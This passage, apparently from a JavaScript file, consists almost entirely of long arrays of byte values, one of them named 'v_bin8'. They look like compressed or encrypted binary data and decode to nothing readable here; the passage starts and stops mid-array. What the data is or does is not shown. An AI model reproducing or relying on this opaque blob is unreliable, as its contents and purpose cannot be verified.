59,0,244,247,144,131,17,10,51,100,228,111,60,19,43,237,42,63,206,194,131,221,255,127,124,63,16,68,110,165,207,54,166,184,12,158,46,251,30,57,109,215,110,142,134,214,186,91,131,103,228,42,249,143,208,110,30,214,194,180,27,221,89,113,54,79,101,251,57,247,142,153,200,219,128,64,143,168,255,78,207,22,96,247,83,92,131,213,116,47,219,113,142,239,12,143,12,205,255,156,94,241,147,112,1,67,39,184,241,154,235,204,179,112,43,209,250,18,250,102,20,185,222,29,243,45,86,143,63,47,118,23,105,236,117,165,253,242,188,242,24,78,67,212,224,227,149,191,245,41,219,158,41,87,243,66,234,218,178,197,96,221,40,12,161,135,155,147,209,51,75,198,145,33,243,162,43,70,158,174,30,91,66,13,86,70,162,27,108,33,185,94,158,128,77,145,48,233,39,35,201,142,5,75,249,232,131,41,215,162,147,210,120,37,160,193,181,31,128,79,124,23,220,94,6,185,253,151,96,61,62,74,209,54,75,37,21,11,106,186,199,198,205,73,12,36,176,97,172,86,184,181,86,90,147,224,22,221,97,43,12,204,32,189,133,124,226,79,243,72,235,171,99,31,72,177,87,78,92,172,248,83,175,127,173,149,201,242,148,56,194,18,71,219,147,133,150,23,136,111,77,154,40,219,170,229,173,70,25,104,76,40,84,143,228,199,80,144,15,162,175,59,229,100,219,93,191,13,134,108,82,66,73,74,165,143,150,154,12,154,205,214,118,82,183,115,238,174,120,27,15,222,223,176,232,18,66,254,112,245,123,240,186,111,168,252,105,246,188,226,104,92,95,73,25,34,93,204,19,228,171,168,135,84,128,164,14,43,150,195,151,117,208,191,227,22,97,183,24,179,101,213,5,148,140,64,61,46,90,74,94,164,254,240,35,49,134,202,213,218,179,165,215,176,21,14,150,31,32,68,183,1,236,255,100,176,43,32,45,206,152,187,159,132,169,134,42,202,246,236,34,236,105,204,102,167,106,1,136,66,210,14,156,24,17,46,190,195,44,133,60,115,147,19,4,102,246,2,22,209,89,68,94,101,30,44,202,194,235,242,139,66,205,230,32,2,160,59,133,71,17,203,128,211,176,223,52,172,163,78,78,220,22,72,151,3,117,153,1,170,145,171,9,109,154,72,206,53,126,131,124,165,120,228,252,164,158,98,100,85,215,153,79,84,226,30,238,166,143,22,125,146,55,180,157,88,15,76,32,163,210,22,180,217,163,240,218,151,65,231,30,186,222,148,226,41,199,140,67,76,96,190,201,254,31,19,69,117,117,186,189,11,235,103,248,51,16,152,32,174,163,95,107,94,15,102,219,59,109,78,178,32,243,129,195,182,16,219,131,219,116,38,222,236,197,97,173,48,128,123,49,144,187,44,62,30,181,90,233,9,129,139,85,51,91,167,80,116,30,249,63,247,0,24,235,4,65,65,249,112,121,106,223,54,145,115,71,63,95,196,216,171,53,147,185,2,154,132,53,168,157,67,49,151,148,243,112,99,85,182,209,48,44,249,210,18,227,187,78,115,240,184,78,111,42,178,132,68,114,177,32,84,52,26,71,52,33,255,37,33,50,80,228,254,26,161,233,146,140,229,131,59,169,139,53,145,27,161,176,96,170,121,164,108,105,31,13,98,96,5,166,96,39,9,87,222,147,95,84,118,255,106,235,227,180,121,65,3,234,225,77,130,136,155,134,1,196,156,133,162,217,47,150,243,167,229,189,84,0,109,87,100,248,45,196,125,20,50,10,9,170,255,162,217,38,229,164,121,247,149,130,132,248,101,225,29,194,40,89,72,201,62,191,195,154,183,33,48,220,73,27,129,232,136,210,1,208,23,127,21,57,10,14,2,75,134,216,68,32,234,77,3,137,220,53,223,138,1,192,161,227,90,188,229,213,228,172,64,146,117,70,250,53,154,112,13,133,222,97,255,150,77,174,237,79,129,174,162,146,84,183,123,164,95,17,62,196,216,203,193,38,197,158,48,249,24,226,41,245,184,234,82,91,166,82,195,151,142,135,4,68,173,143,111,252,229,199,51,184,124,8,100,123,136,210,255,161,137,36,204,201,223,226,126,165,209,92,70,190,168,132,130,154,41,44,27,106,138,33,220,95,33,52,67,221,183,172,146,79,93,182,40,186,195,69,110,121,189,152,242,212,75,178,54,13,161,107,51,108,18,59,120,81,148,163,237,73,167,154,196,29,155,183,170,62,21,93,79,192,149,239,217,174,2,171,177,157,54,125,245,225,170,196,191,196,57,53,131,205,247,199,81,203,1,78,46,226,185,250,163,127,64,24,174,171,255,191,246,227,172,197,38,167,85,57,20,199,122,116,15,155,235,234,31,10,178,203,126,140,47,99,7,15,167,180,61,138,12,187,76,222,244,15,31,160,34,85,46,239,235,232,174,23,118,119,228,131,205,248,54,205,65,239,120,50,42,116,157,158,176,111,39,159,67,196,209,180,194,241,25,60,89,172,166,1,7,20,57,253,162,246,84,114,95,225,62,107,196,130,180,33,111,135,161,68,145,136,248,166,34,75,207,197,242,57,51,118,233,62,220,1,167,4,15,163,12,200,86,21,95,213,122,102,113,250,134,211,188,131,82,251,97,164,114,48,210,218,121,33,169,70,99,217,9,107,86,76,94,92,124,128,234,236,56,31,142,5,224,185,182,160,106,129,43,78,251,92,235,240,211,194,140,122,159,227,70,205,158,118,232,23,197,164,31,140,216,220,27,59,168,185,80,176,199,57,68,198,80,239,99,136,249,197,239,235,216,35,230,239,209,47,40,221,247,128,12,34,116,11,60,15,89,3,0,117,28,211,9,117,91,150,4,100,155,98,69,110,59,224,155,66,97,55,61,225,61,6,175,232,192,98,68,57,231,180,12,49,136,112,132,197,156,117,83,22,162,241,113,229,165,10,115,112,51,143,179,244,0,154,183,21,43,104,88,79,138,9,66,128,189,9,41,23,179,98,216,215,166,18,35,166,112,161,234,139,205,169,37,72,134,3,41,78,125,207,91,148,32,51,3,34,129,46,228,81,29,141,24,108,69,2,200,127,227,26,100,23,194,176,79,252,215,171,56,35,218,116,235,7,124,151,11,94,40,81,231,156,167,233,89,179,248,42,162,118,196,182,184,99,235,252,218,199,27,226,143,209,83,138,88,221,100,65,240,98,66,105,138,129,30,178,100,255,251,185,55,234,45,33,81,69,189,8,36,29,95,205,249,195,186,63,108,113,225,151,155,102,38,251,132,164,36,199,174,147,224,219,118,225,36,148,6,90,3,146,172,241,169,230,86,144,103,78,209,49,110,112,151,201,254,124,113,124,41,0,5,64,111,172,248,52,29,117,129,123,129,254,143,39,150,49,156,191,26,153,47,203,16,168,10,253,65,63,13,20,90,128,248,107,20,182,110,201,201,4,187,90,203,77,152,78,66,99,108,231,41,205,217,149,138,88,26,78,203,18,7,232,108,181,14,218,78,89,60,166,53,167,186,252,207,37,253,35,21,84,118,58,243,129,211,104,152,33,139,227,135,135,136,39,77,229,221,102,19,122,60,220,245,140,48,69,40,177,2,55,229,80,114,137,219,3,221,187,67,137,105,55,194,143,143,196,244,161,187,66,25,143,139,99,154,37,189,167,173,136,105,75,222,50,226,189,116,65,114,62,125,10,115,243,130,70,160,247,124,5,216,191,110,149,11,60,229,51,211,177,98,0,24,30,140,50,29,184,241,148,74,229,168,246,43,110,36,174,82,20,194,83,22,214,171,180,44,200,134,179,54,91,80,32,228,92,224,86,10,122,94,168,80,107,235,200,198,207,137,97,222,88,234,172,223,213,159,225,14,250,38,46,204,225,79,193,205,210,33,254,71,144,225,6,215,35,194,97,196,91,69,182,197,198,8,233,68,192,4,110,236,224,129,103,35,117,242,104,23,127,215,6,21,31,245,118,88,82,91,91,171,28,177,54,115,206,229,235,173,12,175,54,170,24,90,73,151,175,12,152,78,33,19,33,216,97,229,235,215,134,254,76,7,40,235,70,127,70,108,54,109,70,167,94,182,241,189,221,156,255,66,115,170,79,68,189,189,55,233,134,18,15,55,23,88,32,111,210,25,38,129,96,191,119,81,249,182,101,230,230,214,46,0,179,123,245,236,235,49,51,84,95,107,53,8,218,26,38,162,76,77,216,236,93,176,198,120,212,35,5,207,162,168,193,173,141,87,132,28,85,100,142,149,115,227,151,196,166,60,238,208,130,77,231,161,196,22,157,66,115,170,238,235,118,132,182,112,11,61,65,200,113,174,152,58,201,142,36,178,235,208,25,74,6,13,152,54,230,29,117,97,130,59,119,87,135,109,225,185,183,105,192,65,83,211,38,93,126,49,76,226,252,51,23,55,197,42,92,107,72,143,103,168,244,92,236,252,242,178,142,97,90,186,250,160,75,156,60,230,131,238,62,204,128,118,212,211,207,55,47,75,218,197,42,191,55,197,44,61,39,80,63,16,175,66,159,63,206,63,225,194,85,72,14,47,215,25,68,141,78,115,41,155,42,132,93,139,204,12,37,202,189,175,179,64,19,207,243,2,155,203,125,19,173,91,138,207,62,137,103,150,12,217,198,177,196,178,40,101,216,3,115,71,248,85,50,96,146,26,65,83,183,69,230,180,71,80,141,219,5,228,198,118,7,175,65,27,113,2,23,245,126,51,21,177,133,151,159,140,159,247,26,53,140,72,227,199,249,176,62,157,78,166,211,240,105,117,44,164,219,136,71,127,250,254,9,140,141,175,81,110,185,202,228,1,62,234,59,36,182,189,243,22,88,207,28,214,202,240,87,3,0,136,241,81,52,160,31,227,215,88,64,169,136,45,13,97,140,57,164,174,112,245,41,84,84,204,19,110,9,222,239,255,133,138,236,63,211,172,117,239,101,231,248,56,87,255,195,101,161,160,24,103,116,210,27,65,224,137,63,81,251,182,85,66,76,30,188,197,241,19,254,144,214,124,124,112,69,204,74,197,141,182,140,63,231,62,152,117,57,0,38,68,24,61,237,122,128,40,164,71,10,184,177,35,56,248,42,23,74,75,186,107,249,50,163,122,252,13,136,98,96,85,20,13,103,55,226,80,30,185,151,38,94,136,183,236,168,28,140,79,110,68,161,215,58,195,144,175,235,238,98,124,133,224,160,208,28,182,152,70,98,231,28,216,144,233,106,200,242,217,86,36,96,93,179,163,24,179,222,246,122,197,53,65,151,32,125,221,95,97,136,116,84,210,151,26,8,236,97,14,205,227,133,153,16,182,181,71,137,251,5,23,144,111,139,219,133,55,99,35,244,32,46,52,207,144,177,167,246,33,8,45,136,220,180,85,101,102,228,211,23,125,21,39,55,227,160,62,120,234,23,165,242,108,137,253,153,89,152,5,101,49,88,48,130,187,159,73,232,168,113,233,198,149,56,163,95,68,233,225,218,20,170,1,87,110,116,134,88,28,254,139,30,25,14,8,154,15,86,225,44,9,16,212,151,183,235,51,126,198,132,45,81,130,48,198,102,209,90,59,177,46,39,246,74,226,35,131,221,208,27,183,9,123,85,68,216,14,196,136,19,225,16,132,229,178,207,129,15,43,135,207,188,47,195,9,70,199,168,224,97,102,120,22,201,174,33,173,42,187,151,36,151,156,117,73,91,3,7,5,186,191,231,120,247,64,25,4,220,197,132,4,21,163,184,18,43,199,47,11,192,109,43,226,118,47,209,39,223,226,159,114,115,57,180,200,2,77,108,247,166,202,14,127,4,178,45,5,57,104,225,156,66,28,98,105,71,44,241,47,169,247,216,198,132,146,60,210,133,194,150,72,83,34,58,68,133,40,87,221,136,151,185,43,61,77,48,120,29,20,218,146,125,195,124,33,189,67,10,76,209,98,181,101,92,186,73,201,101,68,114,128,113,130,245,123,115,48,187,91,27,209,179,35,136,70,234,236,138,109,118,235,221,94,73,218,226,155,76,75,206,40,64,21,127,42,127,0,8,155,50,244,38,84,186,209,208,109,220,124,68,47,106,104,61,110,140,147,249,132,84,63,242,143,136,93,253,166,144,1,67,21,39,45,30,10,19,29,251,181,247,6,250,100,31,91,197,92,253,156,217,96,72,250,58,228,251,133,17,94,198,176,136,180,251,41,83,27,26,41,16,50,77,96,43,203,29,241,68,219,241,166,217,218,127,159,192,205,2,136,147,61,144,20,228,85,254,185,16,191,245,144,211,215,74,255,108,170,223,44,198,183,178,23,152,150,25,254,68,177,72,230,249,142,28,101,47,59,27,49,14,26,153,172,8,254,233,23,113,83,84,78,35,231,112,163,114,69,142,50,58,201,239,97,229,190,112,54,204,16,198,160,38,222,106,47,234,249,147,193,220,145,187,156,8,101,161,231,235,38,157,43,76,54,205,124,197,138,136,167,155,40,22,169,131,175,128,161,217,106,8,234,209,122,203,231,177,119,13,121,158,127,55,206,212,60,195,40,17,139,45,171,154,19,141,181,215,84,211,197,251,0,189,37,116,41,191,48,123,30,39,47,102,231,185,29,46,30,217,149,184,74,106,143,188,192,147,32,253,136,176,90,85,105,183,169,81,243,9,158,49,71,107,146,44,49,118,146,4,145,156,233,50,170,203,233,106,218,96,187,5,233,184,218,250,71,137,219,78,131,104,196,57,10,136,162,239,164,190,180,89,214,243,164,5,244,140,53,18,143,38,104,215,230,122,183,90,227,43,203,72,85,221,203,24,59,166,149,226,83,33,80,123,106,175,10,139,39,159,103,251,177,73,141,155,214,2,74,97,164,44,140,220,185,30,29,35,170,81,42,106,128,80,234,37,158,169,189,203,76,209,234,76,22,164,66,42,200,83,53,168,2,53,115,131,124,6,237,222,106,255,91,86,47,170,190,236,29,22,66,151,215,63,243,114,17,10,109,183,144,95,37,44,50,86,193,244,18,238,158,157,91,146,104,50,173,160,25,57,218,103,212,233,204,120,192,31,112,38,33,238,173,49,242,154,20,239,166,35,28,144,234,133,55,5,8,185,31,97,39,110,223,135,53,84,118,245,186,65,201,138,137,139,121,199,86,28,236,37,192,99,149,98,45,143,140,83,73,145,199,79,25,55,65,190,164,77,141,94,107,168,19,222,145,119,53,8,190,42,47,145,241,55,114,103,38,105,221,138,232,165,94,228,177,212,225,6,20,118,63,202,221,181,239,227,194,140,8,186,163,139,237,65,128,8,250,162,37,85,131,3,72,88,219,34,137,4,99,228,210,35,205,45,125,115,23,211,208,242,84,78,115,50,17,236,167,216,38,70,5,191,31,197,207,123,78,196,44,224,203,28,181,213,218,76,212,82,39,217,56,1,89,112,89,26,191,181,213,98,36,14,77,138,1,146,197,210,9,78,92,214,16,58,167,219,90,161,26,43,121,97,197,143,33,188,52,2,121,64,22,245,12,214,99,232,242,45,31,67,213,133,21,228,254,248,177,190,254,59,144,201,131,69,238,43,215,123,76,200,91,212,3,199,102,79,195,42,51,2,191,12,202,25,37,71,28,78,164,233,169,144,187,160,158,143,253,18,76,88,67,49,145,211,148,176,6,54,185,171,232,82,25,210,138,52,112,65,135,37,195,60,200,106,225,238,98,145,207,10,172,249,224,237,183,78,2,183,170,188,253,19,25,213,253,70,2,31,32,32,36,173,190,229,158,31,237,67,9,162,151,190,123,110,72,230,138,191,124,182,135,124,245,194,142,221,226,227,229,248,84,182,51,200,199,134,80,139,112,233,139,90,179,204,155,149,65,201,80,33,70,250,210,71,229,154,245,30,205,159,73,55,128,93,192,78,143,186,176,222,206,216,136,149,153,55,86,83,88,56,135,209,24,146,0,195,182,107,179,216,39,202,207,6,255,165,48,218,194,33,169,8,63,197,204,60,221,59,26,94,219,136,192,130,71,211,227,129,254,137,227,1,11,14,77,20,166,7,94,47,181,38,2,111,37,188,134,91,195,80,234,190,114,172,96,104,119,16,228,217,184,93,210,126,141,214,91,169,98,182,42,32,72,225,133,53,173,36,208,52,148,152,148,84,50,236,185,232,107,65,240,160,244,115,237,52,25,147,32,157,79,143,221,239,150,61,254,207,172,107,92,53,75,222,82,158,159,171,196,43,92,85,208,139,142,92,26,57,96,90,120,165,159,167,209,65,95,78,250,73,12,62,133,144,57,95,74,50,114,36,241,234,181,35,116,94,69,165,217,132,63,57,186,20,92,1,138,245,48,182,229,245,237,28,239,124,138,104,88,208,194,48,120,98,148,166,201,106,123,239,33,70,220,72,0,63,216,212,11,62,47,187,16,102,218,176,174,232,25,205,222,194,250,100,221,26,54,36,160,227,76,123,17,153,134,54,151,61,76,237,74,2,43,162,77,121,91,126,246,77,193,64,249,27,167,133,228,146,245,18,61,225,203,99,44,96,76,204,65,109,82,52,12,118,18,161,144,175,37,110,248,187,154,218,111,23,236,235,167,80,190,23,19,100,60,251,251,205,253,101,185,3,101,170,247,206,120,126,73,241,96,206,10,152,80,177,51,231,117,237,175,39,82,123,131,13,224,161,85,162,41,3,79,170,39,190,19,140,176,200,92,252,224,125,202,9,232,185,55,221,199,66,238,81,234,118,12,201,38,32,110,214,178,182,202,131,64,79,184,36,186,6,121,74,95,226,174,249,250,128,211,236,131,211,238,118,200,220,127,207,201,208,24,23,46,182,44,70,21,92,101,16,207,56,1,207,249,7,118,60,132,153,67,63,161,216,231,114,191,26,10,1,17,143,210,46,41,171,252,58,234,34,24,163,96,255,153,1,181,16,37,151,101,17,197,54,252,50,214,107,178,41,151,155,120,243,248,195,63,97,156,108,149,193,91,247,155,137,55,230,169,199,131,35,67,165,51,216,180,146,130,89,204,123,122,85,165,75,63,178,26,36,225,19,195,83,106,212,168,170,50,158,126,54,104,227,95,49,112,179,244,90,98,48,192,254,169,147,176,170,174,123,85,142,181,241,38,110,32,158,137,118,182,43,130,167,154,123,147,118,214,69,253,243,86,34,2,23,36,31,252,253,126,32,245,57,78,9,135,84,92,244,186,199,188,96,146,59,109,128,16,141,215,151,254,253,25,42,150,101,96,231,189,35,187,172,105,173,86,43,142,219,175,17,214,178,62,17,154,84,109,6,105,197,102,192,101,34,72,103,245,231,167,24,72,122,45,187,123,144,194,87,229,230,127,231,28,234,54,7,134,156,199,93,192,68,65,182,19,73,166,46,29,233,91,252,207,248,98,214,226,226,45,84,201,96,44,144,30,227,39,193,1,220,89,238,151,8,61,238,161,142,0,116,237,44,62,99,225,191,42,26,145,17,1,178,202,148,245,136,238,252,60,229,115,230,138,210,161,45,35,139,124,143,189,226,17,238,126,40,150,239,17,140,178,132,125,128,144,17,1,103,154,87,205,197,54,241,177,155,137,239,38,161,141,218,85,141,207,152,170,217,188,25,26,202,61,230,166,201,63,112,254,115,29,196,220,250,199,197,202,196,245,58,83,15,34,49,175,33,213,67,128,205,60,8,152,183,173,78,249,6,99,186,245,124,4,120,134,52,44,230,127,37,179,251,56,234,25,66,77,195,247,56,84,24,29,194,184,182,163,71,59,111,189,189,145,100,78,192,217,155,208,163,219,30,13,226,113,212,51,206,16,213,159,5,56,63,61,16,63,35,170,244,213,140,138,113,123,121,1,70,239,179,219,149,65,239,242,126,37,45,149,253,181,209,216,41,155,205,48,55,195,110,251,201,177,89,193,225,181,33,53,206,129,203,121,206,207,143,188,191,78,31,221,191,41,87,168,193,178,16,129,23,3,186,253,225,194,174,38,95,252,62,40,223,194,203,90,214,60,209,155,23,194,187,160,149,130,201,104,96,73,98,16,12,108,163,38,128,170,153,126,157,138,135,229,54,193,105,18,215,35,191,151,217,163,147,68,242,155,160,232,47,116,228,90,90,189,117,164,155,11,153,138,219,163,83,81,82,166,101,174,240,253,32,59,56,52,147,136,40,246,202,101,109,179,246,118,46,173,84,170,98,132,30,95,90,135,74,145,160,65,140,83,254,161,243,81,218,225,8,76,197,157,33,203,93,207,161,119,169,188,191,163,157,32,21,159,73,209,67,87,44,223,173,82,219,231,191,130,80,252,53,106,90,20,77,66,112,76,137,228,33,56,174,235,173,165,248,66,50,133,48,202,209,34,46,136,69,226,230,155,145,196,32,114,202,134,113,162,49,228,253,79,105,57,211,41,147,76,201,161,172,119,51,254,223,197,146,192,107,177,213,53,187,151,197,223,185,102,8,131,167,126,10,23,226,94,126,9,145,4,200,66,15,183,138,255,175,45,137,36,95,246,105,93,126,171,52,86,216,27,229,73,43,10,226,165,4,48,64,5,105,244,126,198,17,144,212,244,40,113,144,160,229,3,123,241,222,61,235,132,80,144,106,153,209,93,196,175,43,224,89,245,95,59,134,198,213,108,237,213,232,178,23,45,59,234,114,0,172,93,150,152,59,18,18,63,244,114,64,95,218,224,156,241,171,239,180,0,65,64,203,105,249,51,240,169,223,7,76,142,213,255,111,222,91,210,95,232,189,59,147,2,43,254,63,25,24,255,126,42,242,20,119,221,6,234,19,148,95,175,106,205,195,22,192,159,116,10,155,66,112,79,73,231,204,234,144,98,208,77,148,24,44,28,36,34,103,130,217,168,190,29,183,128,171,224,65,213,239,103,76,85,174,224,72,4,209,55,116,111,180,254,15,242,231,238,247,228,29,237,48,199,194,140,32,169,95,238,210,153,172,63,174,171,211,254,45,214,219,71,205,113,154,144,171,202,25,122,244,5,150,209,141,37,205,105,197,250,81,152,7,95,59,61,12,46,96,149,101,58,24,242,242,170,49,64,33,54,96,199,241,222,108,170,152,8,65,234,234,30,121,63,152,119,106,22,135,73,168,122,74,73,8,219,138,106,172,228,60,93,129,147,156,107,182,8,170,206,37,32,136,213,159,52,156,218,178,217,18,191,111,175,82,212,5,175,83,50,247,141,58,214,221,23,161,97,39,12,165,109,253,60,164,211,48,147,24,150,178,126,176,227,156,200,106,172,147,210,212,79,177,132,108,224,66,243,222,188,97,53,136,152,248,206,17,147,56,233,81,245,55,51,151,31,133,104,209,12,132,245,13,206,198,101,131,137,148,45,211,167,197,96,72,223,43,47,147,28,180,165,10,47,66,199,156,150,46,138,63,102,74,71,145,39,172,133,94,228,251,252,29,221,83,191,233,140,217,215,168,95,58,88,217,9,92,79,37,134,101,162,12,105,42,203,225,81,92,186,72,7,161,205,183,111,240,156,198,224,85,172,131,131,43,152,126,129,255,219,100,234,204,1,99,254,75,135,190,150,26,93,23,186,249,24,121,249,210,94,50,160,93,113,189,48,130,144,46,189,29,70,239,222,102,217,189,203,252,89,222,52,94,123,165,44,232,175,97,167,156,1,144,4,145,96,54,58,178,93,9,148,55,219,40,254,36,133,147,157,45,92,14,32,114,190,145,144,11,254,125,85,28,122,183,44,97,226,46,13,174,185,244,124,73,179,126,245,63,104,118,209,231,249,228,134,13,162,193,102,199,64,74,214,5,68,36,42,88,1,84,107,39,214,112,121,244,172,208,119,192,211,89,49,84,213,185,225,10,96,212,225,219,16,122,196,123,149,187,9,154,242,37,15,19,1,202,107,16,31,58,162,168,211,0,169,85,105,53,45,27,93,106,166,68,191,41,138,193,71,165,72,83,26,37,26,222,137,189,107,207,54,111,58,107,175,250,194,130,3,13,49,82,82,249,161,215,137,119,96,254,224,7,152,245,57,81,91,102,236,244,124,120,46,102,233,34,31,222,54,213,223,42,29,140,186,236,18,60,155,173,76,239,118,182,61,97,155,190,246,156,41,213,228,1,202,26,175,166,239,88,213,119,147,99,86,239,1,225,137,50,175,72,241,152,244,5,139,70,158,188,127,158,233,180,7,64,25,78,46,64,136,194,121,48,81,12,107,88,198,2,2,67,80,52,181,52,29,213,63,72,63,89,7,131,244,148,33,170,147,47,40,173,246,157,200,173,92,133,137,5,122,41,196,133,20,181,65,161,151,180,197,23,111,52,179,92,103,8,127,59,143,121,164,88,113,28,187,208,225,230,134,5,59,72,24,191,224,71,82,45,234,228,218,51,251,19,251,103,144,234,195,24,3,201,85,16,225,241,148,208,148,192,159,81,129,53,227,9,124,174,152,103,116,3,183,255,224,192,240,221,41,246,119,45,245,154,9,44,142,19,87,4,26,191,184,35,217,175,234,192,101,108,39,81,166,13,245,117,110,216,123,240,92,248,236,42,205,187,9,26,3,201,211,98,217,28,48,225,9,251,36,202,29,95,108,248,62,45,112,7,243,21,56,78,128,94,96,250,254,114,197,233,7,60,140,182,222,197,219,149,162,175,10,57,58,160,114,201,165,14,66,3,1,8,162,251,209,68,86,77,84,22,3,248,198,113,18,80,141,60,80,62,27,17,208,193,101,3,246,185,143,208,89,212,78,137,63,92,140,72,224,140,154,39,240,181,3,62,6,189,213,147,90,103,207,224,125,15,68,127,19,45,181,197,140,84,3,251,17,232,171,72,196,97,157,26,37,91,15,192,86,54,13,131,169,70,5,5,129,46,127,240,95,168,223,157,210,45,66,63,185,166,195,174,101,87,69,236,38,208,73,151,87,220,170,100,112,8,62,221,33,133,84,226,107,120,77,238,194,197,190,111,78,252,56,231,153,194,159,179,229,119,163,153,250,14,63,171,51,98,70,153,117,252,181,3,235,208,106,46,68,159,223,94,14,240,93,43,250,4,58,232,236,152,14,82,33,247,34,101,3,105,3,32,114,188,154,15,241,46,42,191,39,167,128,202,23,242,72,78,163,71,136,75,125,110,9,210,116,151,235,87,236,177,95,159,213,213,165,85,197,162,250,5,97,155,236,55,87,4,198,209,82,152,177,181,136,39,127,171,211,103,255,95,238,34,14,175,94,200,55,191,0,223,228,105,215,211,87,245,180,220,24,119,195,121,33,75,50,52,89,203,80,159,8,177,50,254,12,204,129,79,53,175,124,176,54,101,193,240,9,247,80,232,65,161,191,222,24,66,233,180,145,229,182,213,224,91,57,71,100,13,138,106,250,212,194,61,22,245,45,238,162,88,148,108,56,207,247,12,138,121,200,216,180,159,40,157,95,212,240,245,90,204,27,255,73,109,219,215,62,96,95,223,221,175,252,22,160,149,49,52,104,76,199,161,73,207,178,158,34,249,158,19,235,20,153,131,176,230,58,137,169,197,161,72,203,159,230,227,209,192,234,92,236,116,192,211,59,235,241,124,127,93,132,130,164,194,107,195,110,47,122,131,242,168,160,230,105,154,116,238,34,113,218,21,80,218,151,44,194,217,69,238,48,116,211,44,137,176,190,51,167,71,162,192,158,248,135,134,111,11,140,32,163,127,228,57,127,61,202,50,224,219,254,14,221,26,88,72,114,252,204,225,35,4,150,161,14,181,183,186,132,56,121,130,113,24,210,142,30,24,231,88,104,46,91,102,161,156,178,12,249,85,12,18,83,141,22,164,178,194,244,96,205,209,248,58,189,88,147,201,1,119,118,158,89,200,109,194,82,167,199,112,150,141,168,130,212,47,106,87,128,200,32,212,12,109,175,180,25,29,138,233,161,165,190,134,221,213,113,221,104,200,27,28,193,35,53,19,96,237,87,249,8,230,19,117,45,55,220,18,192,95,110,125,157,93,239,104,16,93,183,231,100,148,103,173,151,90,116,198,20,211,245,103,138,119,141,115,210,21,214,62,31,127,164,56,47,224,130,89,79,243,142,145,166,132,46,161,45,232,139,18,165,79,57,68,234,159,180,219,91,223,219,47,197,71,245,14,68,178,52,238,42,106,40,52,188,172,7,75,227,253,181,217,199,149,199,21,222,211,211,157,15,34,202,72,215,82,17,190,86,176,1,8,161,51,37,55,28,203,56,251,1,92,166,234,67,214,216,10,5,154,191,161,44,251,104,236,122,83,112,181,180,163,95,152,202,244,96,49,154,70,231,74,203,56,165,109,59,33,41,152,64,32,125,207,41,192,12,216,37,167,88,172,29,23,17,196,185,127,16,157,99,26,62,80,169,198,186,53,81,1,65,219,179,76,143,34,218,211,36,151,40,192,172,185,104,144,177,91,16,160,208,2,219,119,32,211,22,139,55,50,76,33,145,166,17,178,216,11,165,181,200,29,191,50,75,247,213,206,24,228,213,96,203,135,199,117,162,127,116,69,220,235,195,129,30,188,231,187,75,110,60,192,95,41,25,152,214,194,31,99,55,245,230,246,115,74,84,69,14,195,51,209,231,8,1,9,132,194,163,100,232,39,229,62,62,251,89,183,108,183,65,32,83,60,213,160,106,124,116,192,2,114,108,108,222,94,168,218,49,124,95,51,160,192,20,123,189,122,218,230,233,123,220,233,137,57,231,176,223,120,163,144,42,213,148,147,134,28,68,50,66,66,183,55,82,65,120,56,92,110,213,92,21,15,191,226,113,55,38,103,6,190,14,132,68,34,22,49,228,86,172,189,163,169,57,36,53,101,169,100,88,210,247,35,28,33,144,59,57,191,116,140,147,192,190,193,178,85,156,75,52,27,217,65,249,60,85,33,199,106,77,148,54,112,120,111,112,239,5,20,215,240,14,14,178,143,61,138,207,149,202,244,241,165,108,15,242,11,112,58,160];
var v_bin8 = [205,199,103,119,28,127,43,60,86,19,105,120,71,2,220,235,116,182,18,105,237,115,110,123,21,108,194,6,32,201,20,175,246,180,222,29,168,59,222,48,230,130,221,60,35,233,193,100,31,179,224,84,39,38,90,9,66,43,180,236,80,221,140,85,86,106,88,79,99,239,235,228,71,145,123,69,34,37,249,249,113,36,22,157,188,187,173,47,200,29,181,237,140,209,13,202,174,57,208,154,241,38,226,191,147,243,229,191,66,77,96,144,207,162,33,104,166,225,133,13,95,255,225,7,234,121,100,42,126,73,15,193,130,68,207,175,155,92,143,186,75,243,39,34,181,112,129,108,176,202,172,7,220,57,146,222,196,67,57,251,213,187,63,126,119,106,169,63,115,82,76,142,203,11,178,148,138,136,87,182,104,112,236,151,0,4,233,69,173,10,91,156,79,55,62,50,170,153,179,229,118,163,154,21,135,193,85,162,139,50,138,123,234,220,49,19,210,44,189,170,229,38,77,209,237,27,12,183,102,0,209,234,187,77,32,94,193,234,2,93,208,132,10,221,44,245,148,209,215,75,197,241,235,6,215,188,163,160,211,133,70,134,199,42,78,225,121,175,127,27,81,143,128,142,157,41,42,202,128,205,163,244,97,22,224,171,54,230,200,148,82,128,247,97,192,27,11,35,173,236,39,70,171,237,165,158,180,59,12,126,127,134,162,189,24,140,32,44,138,199,96,81,197,159,47,236,5,37,183,203,224,168,166,97,225,226,114,142,229,237,5,86,97,8,108,123,192,196,138,151,163,100,117,16,74,84,118,188,57,223,115,168,218,157,247,108,214,197,27,67,76,80,95,184,254,186,165,151,154,162,152,255,35,104,67,87,58,31,116,92,148,251,207,94,33,201,149,27,141,248,154,170,117,226,28,229,113,19,177,113,11,131,178,8,222,255,26,90,210,169,239,71,68,179,80,134,28,30,168,61,3,75,190,252,7,2,247,92,34,116,82,9,80,56,29,6,58,204,84,140,120,248,149,68,12,25,181,216,87,85,188,67,224,198,156,38,238,118,98,214,88,188,241,218,44,15,61,12,33,205,21,149,120,133,186,17,59,243,31,43,208,229,130,121,76,135,0,89,152,173,102,0,36,251,212,155,70,89,133,15,33,225,48,149,162,156,46,121,83,100,175,119,64,107,126,239,167,35,58,31,242,12,214,72,94,248,231,220,254,5,90,116,36,89,186,153,63,209,253,137,19,224,14,17,50,193,106,4,23,17,80,32,108,137,36,11,151,114,89,215,40,145,189,40,94,243,187,185,192,232,154,132,180,92,165,172,218,0,173,112,168,90,231,223,253,184,109,144,221,173,142,109,31,10,229,47,68,211,60,100,218,195,84,222,45,69,75,205,85,184,21,36,55,190,247,110,131,3,76,96,67,189,49,107,14,63,94,30,77,85,131,10,53,230,89,144,80,6,118,146,121,125,165,78,99,216,160,184,246,184,49,96,214,105,101,16,66,255,173,135,71,62,67,32,184,154,125,120,113,151,243,213,94,235,224,111,122,84,205,130,251,227,15,233,240,63,13,169,4,222,174,185,168,149,72,12,28,149,176,35,95,234,113,228,157,193,130,227,187,161,9,182,113,202,116,17,204,109,2,65,32,213,229,240,182,187,58,227,253,15,60,200,189,252,137,43,62,6,164,250,25,191,239,115,226,65,124,225,237,94,107,22,235,216,210,32,147,16,114,54,48,8,144,204,126,167,38,141,51,40,171,254,88,180,84,150,137,174,226,61,169,228,195,211,126,112,29,209,97,243,44,21,129,138,27,143,144,192,213,45,242,117,121,72,90,177,249,138,162,71,158,212,63,